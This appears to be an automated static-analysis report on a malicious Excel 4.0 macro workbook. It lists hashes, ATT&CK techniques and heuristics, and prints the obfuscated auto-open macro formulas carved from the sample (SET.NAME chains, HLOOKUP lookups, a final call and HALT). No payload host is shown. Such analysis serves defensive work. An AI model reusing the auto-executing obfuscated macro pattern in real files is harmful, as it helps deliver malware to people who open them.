Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b4492d1a2a44ca0…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:01 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 436c84bc5a42f89bd4feaf6f93941532 SHA-1: e53443e623983fae642863a48239299425efc1d8 SHA-256: 1b4492d1a2a44ca04379f647e9e792e238bbf123c799ebd8b664b8eb9d5ff9be
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The macro sheet contains references to dangerous functions, including 'RUN', suggesting it is designed to execute commands. While no specific URLs or hashes were extracted, the Auto_Open function strongly implies the execution of a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6922 bytes
SHA-256: 4cd1103b3c6ee07c61c47208e27c0db390f78ecd0e3d2aeaacbd71990ffecb6e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pGJWmQxlOBi
' 0018     21 LABEL : Cell Value, String Constant - AiCAkl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C151 
' 0018     26 LABEL : Cell Value, String Constant - dcsDOTciIHV len=0 
' 0018     24 LABEL : Cell Value, String Constant - eLuHoSnFy len=0 
' 0018     21 LABEL : Cell Value, String Constant - gqkrQy len=0 
' 0018     20 LABEL : Cell Value, String Constant - HAnkh len=0 
' 0018     22 LABEL : Cell Value, String Constant - IhFeKdR len=0 
' 0018     24 LABEL : Cell Value, String Constant - JKdNvoFhi len=0 
' 0018     24 LABEL : Cell Value, String Constant - KKCOUbPnP len=0 
' 0018     25 LABEL : Cell Value, String Constant - MfxLUauUnh len=0 
' 0018     22 LABEL : Cell Value, String Constant - nNNRxeo len=0 
' 0018     25 LABEL : Cell Value, String Constant - oGDryDUnLy len=0 
' 0018     21 LABEL : Cell Value, String Constant - OUwelo len=0 
' 0018     24 LABEL : Cell Value, String Constant - pqgTZeimD len=0 
' 0018     24 LABEL : Cell Value, String Constant - rlCMXRSxn len=0 
' 0018     25 LABEL : Cell Value, String Constant - smtzlyvExc len=0 
' 0018     26 LABEL : Cell Value, String Constant - TblJvmarhqh len=0 
' 0018     26 LABEL : Cell Value, String Constant - tiQQNULyIss len=0 
' 0018     21 LABEL : Cell Value, String Constant - vDpYVU len=0 
' 0018     25 LABEL : Cell Value, String Constant - WMTAnWkGwK len=0 
' 0018     22 LABEL : Cell Value, String Constant - XtLXCny len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pGJWmQxlOBi,C61,"SET.NAME("TblJvmarhqh",0+VALUE("0"))",""
'  pGJWmQxlOBi,C64,"SET.NAME("AiCAkl",TblJvmarhqh)",""
'  pGJWmQxlOBi,C66,"SET.NAME("rlCMXRSxn",TblJvmarhqh)",""
'  pGJWmQxlOBi,C70,"SET.NAME("JKdNvoFhi",COUNTA(XtLXCny))",""
'  pGJWmQxlOBi,P71,"",-70.00000000000000000000
'  pGJWmQxlOBi,P72,"",-121.00000000000000000000
'  pGJWmQxlOBi,P73,"",-560.00000000000000000000
'  pGJWmQxlOBi,P74,"",-581.00000000000000000000
'  pGJWmQxlOBi,C75,"SET.NAME("IhFeKdR",COUNTA(oGDryDUnLy))",""
'  pGJWmQxlOBi,P75,"",-980.00000000000000000000
'  pGJWmQxlOBi,P76,"",180.00000000000000000000
'  pGJWmQxlOBi,C79,[],""
'  pGJWmQxlOBi,C82,"SET.NAME("HAnkh","")",""
'  pGJWmQxlOBi,C84,"AiCAkl",""
'  pGJWmQxlOBi,C89,"SET.NAME("tiQQNULyIss",HLOOKUP("*",XtLXCny,AiCAkl,FALSE))",""
'  pGJWmQxlOBi,C93,"OUwelo",""
'  pGJWmQxlOBi,C96,"SET.NAME("smtzlyvExc",TblJvmarhqh)",""
'  pGJWmQxlOBi,C99,[],""
'  pGJWmQxlOBi,C101,"smtzlyvExc",""
'  pGJWmQxlOBi,C105,"dcsDOTciIHV",""
'  pGJWmQxlOBi,C107,"nNNRxeo",""
'  pGJWmQxlOBi,C111,"KKCOUbPnP",""
'  pGJWmQxlOBi,C114,"SET.NAME("WMTAnWkGwK",VALUE(HLOOKUP("*",oGDryDUnLy,KKCOUbPnP,FALSE)))",""
'  pGJWmQxlOBi,C119,"MfxLUauUnh",""
'  pGJWmQxlOBi,C122,"HAnkh",""
'  pGJWmQxlOBi,C125,"rlCMXRSxn",""
'  pGJWmQxlOBi,C127,NEXT(),""
'  pGJWmQxlOBi,C132,"pqgTZeimD",""
'  pGJWmQxlOBi,C135,[],""
'  pGJWmQxlOBi,C140,"vDpYVU",""
'  pGJWmQxlOBi,C142,NEXT(),""
'  pGJWmQxlOBi,C147,RETURN(),""
'  pGJWmQxlOBi,C178,"SET.NAME("eLuHoSnFy",C61)",""
'  pGJWmQxlOBi,C180,"XtLXCny",""
'  pGJWmQxlOBi,C182,"SET.NAME("oGDryDUnLy",R92C15)",""
'  pGJWmQxlOBi,C184,"SET.NAME("vDpYVU",191)",""
'  pGJWmQxlOBi,C187,"SET.NAME("gqkrQy",3)",""
'  pGJWmQxlOBi,C190,eLuHoSnFy(),""
'  pGJWmQxlOBi,C191,HALT(),""